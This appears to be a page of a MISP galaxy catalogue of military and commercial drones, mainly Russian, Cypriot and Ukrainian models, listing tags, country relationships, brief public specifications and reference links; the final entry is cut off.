ZALA T-16-5G airless unmanned aerial vehicle is equipped with a hybrid propulsion system that provides a guaranteed flight time of more than 12 hours. Operation up to 1000 km from the launch point with additional unique target loads. Broadcasting the video stream in HD format allows the ground station operator to receive detailed video images in real time.

The tag is: *misp-galaxy:uavs="T-16-5G (412-16E5G)"*

View relationships graph

T-16-5G (412-16E5G) has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 25352. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/373

https://zala-aero.com/product/zala-t-16-5g/
https://odin.tradoc.army.mil/WEG/Asset/e06fb3a8124da3a95e2ab2db9ce11050
https://www.defensemirror.com/news/30059/Zala_Aero_to_Demo_12_Hour_EnduranceHybrid_Drone_at_MAKS_2021
https://uasweekly.com/2021/04/20/anew-unmanned-system-zala-421-16e5g-was-presented-at-the-closed-exhibition-zala-expo/
https://armyrecognition.com/news/aerospace-news/2021/hybrid-engine-andartificial-intelligence-for-zala-421-16e5g-uav

T-16-2 (421-16E HD)

The ZALA Aero T-16-2 (421-16E HD) is a Russian tactical fixed-wing ISR UAV that provides day/night electro-optical/infrared reconnaissance, surveillance, mapping, and target location for artillery and ground units, with about 4 hours endurance and a 1.5 kg payload. Unarmed and portable, it delivers real-time imagery and georeferenced data to enhance situational awareness.

The tag is: *misp-galaxy:uavs="T-16-2 (421-16E HD)"*

View relationships graph

T-16-2 (421-16E HD) has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 25353. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/375
https://odin.tradoc.army.mil/WEG/Asset/05d9afa567eae90c99ac76b72fc035cf
https://zala-aero.com/en/product/zala-421-16e2-takticheskoe-bespilotnoe-vozdushnoe-sudno/

T-16-5

The Zala Aero T-16-5G is an electric, unarmed ISR UAV used by Russia, featuring a 5.3 m wingspan, 6-hour endurance, 110 km/h top speed, and a ~5 kg payload for reconnaissance and observation. It is designed for persistent surveillance and real-time intelligence collection via secure datalinks.

The tag is: *misp-galaxy:uavs="T-16-5"*

View relationships graph

T-16-5 has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 25354. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/374
https://zala-aero.com/en/product/zala-t-16-5/
https://odin.tradoc.army.mil/WEG/Asset/6810876ec4c6368ded3d8e53b8dd723d

Lastochka-M

The tag is: *misp-galaxy:uavs="Lastochka-M"*

Table 25355. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/377

Veterok-7

The tag is: *misp-galaxy:uavs="Veterok-7"*

Table 25356. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/390

Grom

The tag is: *misp-galaxy:uavs="Grom"*

Table 25357. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/382

Termit

The tag is: *misp-galaxy:uavs="Termit"*

Table 25358. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/383

Gelios

The tag is: *misp-galaxy:uavs="Gelios"*

Table 25359. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/384

Sirius

The tag is: *misp-galaxy:uavs="Sirius"*

Table 25360. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/385

Burya-20

The tag is: *misp-galaxy:uavs="Burya-20"*

Table 25361. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/387

Burya-10BS

The tag is: *misp-galaxy:uavs="Burya-10BS"*

Table 25362. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/388

Granat-3

The tag is: *misp-galaxy:uavs="Granat-3"*

Table 25363. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/293

Karakurt

The tag is: *misp-galaxy:uavs="Karakurt"*

Table 25364. Table References

Links

https://war-sanctions.gur.gov.ua/en/uav/458

Tuvik (petrol)

The tag is: *misp-galaxy:uavs="Tuvik (petrol)"*

Table 25365. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/462

Veterok-10

The tag is: *misp-galaxy:uavs="Veterok-10"*

Table 25366. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/391

RE QX Hybrid Pro

The tag is: *misp-galaxy:uavs="RE QX Hybrid Pro"*

Table 25367. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/392

ECOLIBRI P-75

The tag is: *misp-galaxy:uavs="ECOLIBRI P-75"*

Table 25368. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/393

ECOLIBRI eVTOL

The tag is: *misp-galaxy:uavs="ECOLIBRI eVTOL"*

Table 25369. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/394

Sarych

The tag is: *misp-galaxy:uavs="Sarych"*

Table 25370. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/395

Surprise

The tag is: *misp-galaxy:uavs="Surprise"*

Table 25371. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/396

KBR-9

The tag is: *misp-galaxy:uavs="KBR-9"*

Table 25372. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/397

KBR-10

The tag is: *misp-galaxy:uavs="KBR-10"*

Table 25373. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/398

Sector

The tag is: *misp-galaxy:uavs="Sector"*

Table 25374. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/399

Vyi

The tag is: *misp-galaxy:uavs="Vyi"*

Table 25375. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/400

Gektar (AHD-6)

The tag is: *misp-galaxy:uavs="Gektar (AHD-6)"*

Table 25376. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/401

Shturm

The tag is: *misp-galaxy:uavs="Shturm"*

Table 25377. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/402

Shturm-ST

The tag is: *misp-galaxy:uavs="Shturm-ST"*

Table 25378. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/403

Orlan-50

The tag is: *misp-galaxy:uavs="Orlan-50"*

Table 25379. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/407

RTD-K10

The tag is: *misp-galaxy:uavs="RTD-K10"*

Table 25380. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/408

RTD-K8

The tag is: *misp-galaxy:uavs="RTD-K8"*

Table 25381. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/409

RTD-4M

The tag is: *misp-galaxy:uavs="RTD-4M"*

Table 25382. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/410

RTD-D

The tag is: *misp-galaxy:uavs="RTD-D"*

Table 25383. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/411

RTD-KM

The tag is: *misp-galaxy:uavs="RTD-KM"*

Table 25384. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/412

RTD-KS

The tag is: *misp-galaxy:uavs="RTD-KS"*

Table 25385. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/413

Bumerang-E

The tag is: *misp-galaxy:uavs="Bumerang-E"*

Table 25386. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/415

Granat-1 (Гранат-1)

The Granat-1 is a light, short-range tactical reconnaissance UAV designed for ISR missions at small-unit level. It is hand-launched, electrically powered, and intended for daytime visual surveillance and situational awareness. Granat-1 provides real-time video downlink to ground units and is optimised for rapid deployment with minimal logistics. The system is produced by Izhmash Unmanned Systems and represents the entry-level platform of the Granat UAV family.

The tag is: *misp-galaxy:uavs="Granat-1 (Гранат-1)"*

View relationships graph

Granat-1 (Гранат-1) has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 25387. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/416
https://ru.wikipedia.org/wiki/%D0%93%D1%80%D0%B0%D0%BD%D0%B0%D1%82-1

Granat-2 (Гранат-2)

The tag is: *misp-galaxy:uavs="Granat-2 (Гранат-2)"*

Table 25388. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/417

Gortenziya-7

The tag is: *misp-galaxy:uavs="Gortenziya-7"*

Table 25389. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/419

Gortenziya-10

The tag is: *misp-galaxy:uavs="Gortenziya-10"*

Table 25390. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/420

PVC-1 (BT-40)

The tag is: *misp-galaxy:uavs="PVC-1 (BT-40)"*

View relationships graph

PVC-1 (BT-40) has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 25391. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/421

Ovod

The tag is: *misp-galaxy:uavs="Ovod"*

Table 25392. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/422

Kurs-800TB

The tag is: *misp-galaxy:uavs="Kurs-800TB"*

Table 25393. Table References

Links

https://war-sanctions.gur.gov.ua/en/uav/423

Granat-PG

The tag is: *misp-galaxy:uavs="Granat-PG"*

Table 25394. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/424

Vespa

The tag is: *misp-galaxy:uavs="Vespa"*

Table 25395. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/425

Lisa

The tag is: *misp-galaxy:uavs="Lisa"*

Table 25396. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/426

Volk

The tag is: *misp-galaxy:uavs="Volk"*

Table 25397. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/427

Dozor

The tag is: *misp-galaxy:uavs="Dozor"*

Table 25398. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/428

Skvorec-7

The tag is: *misp-galaxy:uavs="Skvorec-7"*

Table 25399. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/429

Skvorec-10

The tag is: *misp-galaxy:uavs="Skvorec-10"*

Table 25400. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/430

Skvorec-Z

The tag is: *misp-galaxy:uavs="Skvorec-Z"*

Table 25401. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/431

Skvorec-PRO

The tag is: *misp-galaxy:uavs="Skvorec-PRO"*

Table 25402. Table References

Links
https://war-sanctions.gur.gov.ua/en/uav/432

Z-53 (Изделие-53)

The tag is: *misp-galaxy:uavs="Z-53 (Изделие-53)"*

View relationships graph

Z-53 (Изделие-53) has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 25403. Table References

Links

https://zala-aero.com/en/product/izdelie-53/

Izdeliye 52-E (Изделие 52-Э)

Izdeliye 52-E is an electric loitering munition by Zala Aero designed for reconnaissance-strike missions, carrying a 3 kg warhead and cruising at about 90 km/h. Operated by Russia, it provides ISR support and conducts precision attacks against ground targets.

The tag is: *misp-galaxy:uavs="Izdeliye 52-E (Изделие 52-Э)"*

View relationships graph

Izdeliye 52-E (Изделие 52-Э) has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 25404. Table References

Links
https://zala-aero.com/en/product/izdelie-52/
https://war-sanctions.gur.gov.ua/en/uav/366

T-20

Zala Aero's T-20 is an electric, fixed-wing ISR UAV (4 m wingspan) with up to 7 hours endurance and a 110 km/h top speed, enabling quiet, long-duration area surveillance. Unarmed, it is intended for tactical reconnaissance and mapping/observation roles.

The tag is: *misp-galaxy:uavs="T-20"*

View relationships graph

T-20 has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 25405. Table References

Links
https://zala-aero.com/en/product/zala-z-20/
https://www.edrmagazine.eu/interpolitex-2024-zala-aero-unveils-its-t-20-uav
https://war-sanctions.gur.gov.ua/en/uav/371

Z-16-E (Z-16-Э)

The tag is: *misp-galaxy:uavs="Z-16-E (Z-16-Э)"*

View relationships graph

Z-16-E (Z-16-Э) has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 25406. Table References

Links
https://zala-aero.com/product/zala-z-16-e/
https://odin.tradoc.army.mil/WEG/Asset/96b6e986d23379dca3a0edd430ef92ce
https://www.themilitarydatabase.com/equipment/91

421-04M

The tag is: *misp-galaxy:uavs="421-04M"*

View relationships graph

421-04M has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 25407. Table References

Links
https://ru.wikipedia.org/wiki/ZALA_421-04M

421-16

ZALA 421-16 is a small Russian fixed-wing UAV from Zala Aero Group designed for tactical ISR missions. It carries EO/IR payloads to deliver real-time surveillance, mapping, and target acquisition/ artillery adjustment support for military and security operators.

The tag is: *misp-galaxy:uavs="421-16"*

View relationships graph

421-16 has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 25408. Table References

Links
https://ru.wikipedia.org/wiki/ZALA_421-16

421-20

The tag is: *misp-galaxy:uavs="421-20"*

View relationships graph

421-20 has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 25409. Table References

Links
https://ru.wikipedia.org/wiki/ZALA_421-20

421-02

The tag is: *misp-galaxy:uavs="421-02"*

View relationships graph

421-02 has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 25410. Table References

Links
https://ru.wikipedia.org/wiki/Zala_421-02
https://avia-pro.net/blog/zala-aero-zala-421-02

421-02X

ZALA 421-02X is an improved version of the company's first unmanned helicopter – ZALA 421-02. The four-stroke engine with a capacity of 40 hp allowed to improve the flight characteristics of the device. Thanks to the use of aviation aluminum and composite materials in the design, it was possible to reduce the specific mass of the helicopter to 83 kg. It is possible to place an optional placement of an additional fuel tank. The launch and landing system of the device is automatic vertical. Also, the device is able to take off and land from the onboard of a moving ship at a roll of 25-30 degrees.

The tag is: *misp-galaxy:uavs="421-02X"*

View relationships graph

421-02X has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 25411. Table References

Links
https://ru.wikipedia.org/wiki/ZALA_421-02X

IRBIS-538 VTOL

IRBIS 538 VTOL is an innovative unmanned aerial vehicle of vertical take-off and landing, designed to perform tasks in various conditions. This drone combines the advantages of multicopters and aircraft, providing high maneuverability and flight range. Equipped with a modern navigation and control system, which makes it an indispensable tool for aerial photography, monitoring of territories, inspection of objects and other professional tasks.

The tag is: *misp-galaxy:uavs="IRBIS-538 VTOL"*

View relationships graph

IRBIS-538 VTOL has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 25412. Table References

Links
https://www.irbisskytech.ru/katalog/irbis-538-vtol/
https://www.digitaldigging.org/p/they-droned-back

IRBIS-632

IRBIS-632 is an average search and research unmanned aerial vehicle developed by Irbis Sky Tech. It is designed to perform a wide range of tasks, including monitoring, mapping and inspection of various objects. Due to its modular design and the ability to integrate various sensors, IRBIS-632 is a universal tool for performing tasks in the fields of geodesy, agriculture, environmental protection and infrastructure monitoring.

The tag is: *misp-galaxy:uavs="IRBIS-632"*

View relationships graph

IRBIS-632 has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 25413. Table References

Links
https://irbisskytech.ru/katalog/irbis-632/

IRBIS-536E VTOL

IRBIS-536E VTOL is an average unmanned aerial vehicle (UAV) with vertical takeoff and landing, designed to perform air reconnaissance, monitoring and transportation of cargo tasks. Due to its design, IRBIS-536E combines the advantages of aircraft and helicopter types, providing high maneuverability and the ability to work in limited spaces.ru

The tag is: *misp-galaxy:uavs="IRBIS-536E VTOL"*

View relationships graph

IRBIS-536E VTOL has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 25414. Table References

Links
https://irbisskytech.ru/katalog/irbis-536e-vtol/

IRBIS-432

IRBIS-432 is a highly efficient device designed for professional use in a variety of conditions. Thanks to the solid design and modern technology, it provides stable operation, high performance and long service life. IRBIS-432 is doing a great job of tasks that require sustainable and continuous operation. Suitable for both commercial and private use, especially in conditions where mobility and independence are important.

The tag is: *misp-galaxy:uavs="IRBIS-432"*

View relationships graph

IRBIS-432 has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 25415. Table References

Links
https://irbisskytech.ru/katalog/irbis-432/

IRBIS-130

Irbis-130 is an unmanned aerial vehicle according to the “flying wing” scheme, designed to perform search and research tasks in a wide range of conditions. Combining aerodynamic efficiency, stability and long flight time, Irbis 130 is ideal for monitoring, mapping, aerial reconnaissance, and environmental and geodetic surveys.

The tag is: *misp-galaxy:uavs="IRBIS-130"*

View relationships graph

IRBIS-130 has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 25416. Table References

Links
https://irbisskytech.ru/katalog/irbis-130/

IRBIS-538E VTOL

IRBIS-538E VTOL is a multifunctional unmanned aerial vehicle with vertical take-off and landing, designed to perform a wide range of tasks in various fields. Thanks to the ability to take off and sit vertically, the device can operate in limited spaces such as urban and forest areas, making it an ideal choice for tasks that require mobility and efficiency.

The tag is: *misp-galaxy:uavs="IRBIS-538E VTOL"*

View relationships graph

IRBIS-538E VTOL has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 25417. Table References

Links
https://irbisskytech.ru/katalog/irbis-538e-vtol/

WASP MK4

The tag is: *misp-galaxy:uavs="WASP MK4"*

View relationships graph

WASP MK4 has relationships with:

- similar: misp-galaxy:country="switzerland" with estimative-language:likelihood-probability="likely"

Table 25418. Table References

Links
https://www.ensdynamics.ch/technology

Mavic 3T

UAV "Dji Mavic 3T" can be used for aerial reconnaissance (equipped with thermal imaging camera) and also equipped with resetting devices F-1, RCG-3, RGD/WGN, 0.5-FSP, WOG-17

The tag is: *misp-galaxy:uavs="Mavic 3T"*

View relationships graph

Mavic 3T has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 25419. Table References

Links
https://radargit.com/2025/05/02/dji-mavic-3t-review-specs-and-price/
https://drone-works.com/dji-mavic-3t-thermal-enterprise-basic-combo/

Phantom 3

UAV "DJI PHANTOM 3" can be used to conduct air traffic reconnaissance, as well as be equipped with F-1, RCG-3, RGD / RGN, 0.5-FSP devices, WOG-17

The tag is: *misp-galaxy:uavs="Phantom 3"*

View relationships graph

Phantom 3 has relationships with:

- similar: misp-galaxy:country="argentina" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="australia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="brazil" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="chile" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="germany" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="israel" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="lithuania" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="new zealand" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="sri lanka" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="ukraine" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="uruguay" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 25420. Table References

Links

https://en.wikipedia.org/wiki/DJI_Phantom

Air 2S (Mavic Air 2S)

The tag is: *misp-galaxy:uavs="Air 2S (Mavic Air 2S)"*

View relationships graph

Air 2S (Mavic Air 2S) has relationships with:

- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 25421. Table References

Links
https://en.wikipedia.org/wiki/DJI_Air

Air 3 (Specta Air)

The tag is: *misp-galaxy:uavs="Air 3 (Specta Air)"*

View relationships graph

Air 3 (Specta Air) has relationships with:

- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 25422. Table References

Links
https://en.wikipedia.org/wiki/DJI_Air

Air 3s

The tag is: *misp-galaxy:uavs="Air 3s"*

View relationships graph

Air 3s has relationships with:

- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 25423. Table References

Links
https://en.wikipedia.org/wiki/DJI_Air

Mavic 3 Pro Platinum

The tag is: *misp-galaxy:uavs="Mavic 3 Pro Platinum"*

View relationships graph

Mavic 3 Pro Platinum has relationships with:

- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 25424. Table References

Links
https://droneller.com/blog/dji-mavic-pro-platinum-review/

Evo

The tag is: *misp-galaxy:uavs="Evo"*

View relationships graph

Evo has relationships with:

- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 25425. Table References

Links
https://www.videomaker.com/review-autel-robotics-evo-is-a-tiny-drone-that-holds-its-own/

Observer-121

Designed for rapid deployment and high mobility for several commercial applications of low-altitude intelligence, surveillance, and reconnaissance (ISR). Reliable to fly in harsh environments such as heavy wind and rain. High impact resistance to make it fully recoverable in complex environment conditions.

The tag is: *misp-galaxy:uavs="Observer-121"*

View relationships graph

Observer-121 has relationships with:

- similar: misp-galaxy:country="cyprus" with estimative-language:likelihood-probability="likely"

Table 25426. Table References

Links
https://www.ags.cyric.eu/observer-121

Skyeye

SKYEYE - Small size coaxial multi-rotor with remarkable load capacity.

The tag is: *misp-galaxy:uavs="Skyeye"*

View relationships graph

Skyeye has relationships with:

- similar: misp-galaxy:country="cyprus" with estimative-language:likelihood-probability="likely"

Table 25427. Table References

Links
https://www.ags.cyric.eu/skyeye

Assassin

Cyric AGS's Assassin is an electric VTOL quadcopter FPV loitering munition designed for man-in-the-loop precision strike, carrying an approximately 0.8 kg lethal payload. With up to 12 minutes endurance and a 60 km/h top speed, it enables operators in Cyprus to conduct rapid engagement of soft targets.

The tag is: *misp-galaxy:uavs="Assassin"*

View relationships graph

Assassin has relationships with:

- similar: misp-galaxy:country="cyprus" with estimative-language:likelihood-probability="likely"

Table 25428. Table References

Links
https://news.defcros.com/defea-2025-highlighting-cyprus-loitering-munitions-capabilities-at-cyric/
https://www.edrmagazine.eu/defea-2025-cyric-showcasing-loitering-munitions-from-cyprus

DRAGONFLYER-60

The Dragonflyer 60 carries a mortar bomb with a mass between 1.2 and 1.6 kg, the maximum drop of mass being 4 kg, while cruise/glide speed is 162 km/h and increases to 215 km/h in the final dive over the target. When releasing the Dragonflyer 60 at 500, 1,000 and 3,000 metres, the operational range is respectively of 1.9, 4.5 and 14.5 km.

The tag is: *misp-galaxy:uavs="DRAGONFLYER-60"*

View relationships graph

DRAGONFLYER-60 has relationships with:

- similar: misp-galaxy:country="cyprus" with estimative-language:likelihood-probability="likely"

Table 25429. Table References

Links
https://www.ags.cyric.eu/dragonflyer
https://www.edrmagazine.eu/defea-2025-cyric-showcasing-loitering-munitions-from-cyprus

DRAGONFLYER-81

The Dragonflyer 81 carries a bomb which mass is between 3.5 and 4 kg, the maximum drop of mass being 5.5 kg, while cruise/glide is 195 km/h, which become 260 km/h in the final dive. When releasing the Dragonflyer 81 at 500, 1,000 and 3,000 metres, the operational range is respectively of 2, 4 and 12 km.

The tag is: *misp-galaxy:uavs="DRAGONFLYER-81"*

View relationships graph

DRAGONFLYER-81 has relationships with:

- similar: misp-galaxy:country="cyprus" with estimative-language:likelihood-probability="likely"

Table 25430. Table References

Links
https://www.edrmagazine.eu/defea-2025-cyric-showcasing-loitering-munitions-from-cyprus
https://www.ags.cyric.eu/dragonflyer

Spear-22

The Spear-22 is a fixed-wing loitering munition developed by CYRIC as part of a new Spear family. It features a 3.15-meter wingspan, a 40 kg maximum take-off mass, and can see a payload of up to 15 kg. The system offers an endurance of 45 to 90 minutes and an operational range of 60 to 120 km, cruising at 80–140 km/h. Originally designed for air launch, it has evolved into a tube-launched configuration with folding wings and propeller blades. Two larger variants, Spear-400 and Spear-800, are in development, with the Spear-800 entering testing and availability expected in H2 2025.

The tag is: *misp-galaxy:uavs="Spear-22"*

View relationships graph

Spear-22 has relationships with:

- similar: misp-galaxy:country="cyprus" with estimative-language:likelihood-probability="likely"

Table 25431. Table References

Links

https://www.ags.cyric.eu/spear-22
https://news.defcros.com/defea-2025-highlighting-cyprus-loitering-munitions-capabilities-at-cyric/
https://www.edrmagazine.eu/defea-2025-cyric-showcasing-loitering-munitions-from-cyprus

Goliath

Goliath hexacopter, which has an 18 kg mass with battery and can carry a payload up to 15 kg. Here too endurance depends on the load, so it can fly for 1 hour with a 5 kg load or 30 minutes with the maximum load. Maximum horizontal speed is 50 km/h while maximum rate of climb is 1,000 ft/min. A peculiar capability of the Goliath is that it can drop the Cyric Dragonflyer glide bombs, which allow it to hit targets at distance without the need to close onto them.

The tag is: *misp-galaxy:uavs="Goliath"*

View relationships graph

Goliath has relationships with:

- similar: misp-galaxy:country="cyprus" with estimative-language:likelihood-probability="likely"

Table 25432. Table References

Links
https://www.ags.cyric.eu/goliath
https://www.edrmagazine.eu/defea-2025-cyric-showcasing-loitering-munitions-from-cyprus
https://news.defcros.com/defea-2025-highlighting-cyprus-loitering-munitions-capabilities-at-cyric/

Vector-h18

The Vector-h18 by Cyric AGS is a professional VTOL multirotor UAV

The tag is: *misp-galaxy:uavs="Vector-h18"*

Table 25433. Table References

Links
https://www.ags.cyric.eu/vector-h18

HORNET-X70 II

The Hornet-X70 II is a lightweight multi-rotor drone built with a carbon-fiber structure, combining high strength with reduced weight. It weighs 1.69 kg without the battery and 3.59 kg with the battery, while supporting a maximum payload of 2.4 kg. Thanks to an optimized intelligent propulsion system and a high-energy-density battery, it can remain airborne for up to 55 minutes with a 1 kg payload. Its IP56-rated airframe provides resistance to dust and adverse weather conditions. The foldable frame enables easy transport and rapid deployment in field conditions.

The tag is: *misp-galaxy:uavs="HORNET-X70 II"*

View relationships graph

HORNET-X70 II has relationships with:

- similar: misp-galaxy:country="cyprus" with estimative-language:likelihood-probability="likely"

Table 25434. Table References

Links
https://www.ags.cyric.eu/hornet-x70-ii

Rusak-S (Русак-С)

The Rusak-S is a Russian heavy quadcopter kamikaze drone derived from the Rusak platform and now in serial production. It carries a 2.5–3 kg warhead, reaches speeds of up to 150 km/h, and has an operational range of around 20 km. The mission is flown mainly in FPV mode under operator control, with real-time video and command links. At approximately 1 km from the target, the UAV can switch to autonomous guidance using an onboard computer with neural-network software. This enables automatic detection, recognition, and tracking of military targets, reducing operator workload until impact.

The tag is: *misp-galaxy:uavs="Rusak-S (Русак-С)"*

View relationships graph

Rusak-S (Русак-С) has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 25435. Table References

Links
https://en.topwar.ru/247753-fpv-bespilotnik-s-nejrosetju-rusak-s-poshel-v-seriju.html

ACS-1 Valkyrie (Валькирия)

The Valkyrie is a light tactical fixed-wing UAV in a flying-wing configuration, built from carbon and composite materials. The system includes two UAVs, day and night payloads, a rugged laptop-based ground control station, antennas, and auxiliary equipment. It uses an open-architecture autopilot (ArduPilot, Pixhawk, Mission Planner) with encrypted long-range digital telemetry and optional analog live video. The UAV has a maximum take-off weight of 3.5 kg, a 1.6 m wingspan, and is powered by an electric motor with Li-Po batteries. It offers up to 120 minutes of endurance, a 34 km operational radius, automatic launch and recovery, and operates between −20 °C and +40 °C.

The tag is: *misp-galaxy:uavs="ACS-1 Valkyrie (Валькирия)"*

View relationships graph

ACS-1 Valkyrie (Валькирия) has relationships with:

- similar: misp-galaxy:country="ukraine" with estimative-language:likelihood-probability="likely"

Table 25436. Table References

Links
https://ru.wikipedia.org/wiki/%D0%90%D0%A1%D0%A3-1_%C2%AB%D0%92%D0%B0%D0%BB%D1%8C%D0%BA%D0%B8%D1%80%D0%B8%D1%8F%C2%BB

Sting

The Sting is an interceptor drone developed by the Wild Hornets group to counter the large numbers of Shahed loitering munitions used by Russia against Ukrainian cities. It features a 3D-printed, bullet-shaped aerodynamic airframe with four rotors, allowing speeds of up to 343 km/h and operations at 3,000 m altitude. The drone is equipped with Kurbas thermal imaging cameras from Odd Systems, enabling effective target detection. It has an engagement range of up to 25 km, specifically optimized for aerial interception. At an estimated cost of ~$2,100, it provides a highly cost-effective counter to Shahed drones, which cost around $35,000 each.

The tag is: *misp-galaxy:uavs="Sting"*

View relationships graph

Sting has relationships with:

- similar: misp-galaxy:country="ukraine" with estimative-language:likelihood-probability="likely"

Table 25437. Table References

Links
https://en.wikipedia.org/wiki/Sting_(drone)
https://www.leparisien.fr/international/ukraine/guerre-en-ukraine-ils-sont-devenus-si-importants-cest-quoi-le-sting-le-drone-a-2-000-euros-qui-empeche-la-russie-davancer-23-12-2025-34GX4VUNSVBW7AEI2WH66VEPUM.php

FPV 10' Analog

The tag is: *misp-galaxy:uavs="FPV 10' Analog"*

View relationships graph

FPV 10' Analog has relationships with:

- similar: misp-galaxy:country="ukraine" with estimative-language:likelihood-probability="likely"

Table 25438. Table References

Links

https://wildhornets.com/en/fpv-drone-with-10-inch-propellers-analog

Anti-aircraft FPV Drone

The tag is: *misp-galaxy:uavs="Anti-aircraft FPV Drone"*

View relationships graph

Anti-aircraft FPV Drone has relationships with:

- similar: misp-galaxy:country="ukraine" with estimative-language:likelihood-probability="likely"

Table 25439. Table References

Links
https://wildhornets.com/en/anti-aircraft-fpv-drone-digital

FPV Bomber

The tag is: *misp-galaxy:uavs="FPV Bomber"*

View relationships graph

FPV Bomber has relationships with:

- similar: misp-galaxy:country="ukraine" with estimative-language:likelihood-probability="likely"

Table 25440. Table References

Links
https://wildhornets.com/en/fpv-bomber-drone

Queen Hornet

The tag is: *misp-galaxy:uavs="Queen Hornet"*

View relationships graph

Queen Hornet has relationships with:

- similar: misp-galaxy:country="ukraine" with estimative-language:likelihood-probability="likely"

Table 25441. Table References

Links
https://www.forbes.com/sites/davidhambling/2024/05/30/ukraine-launches-queen-hornet-supersized-fpv-bomber-drone/
https://wildhornets.com/en/queen-hornet-17-inch-fpv-drone

Werewolf

The tag is: *misp-galaxy:uavs="Werewolf"*

View relationships graph

Werewolf has relationships with:

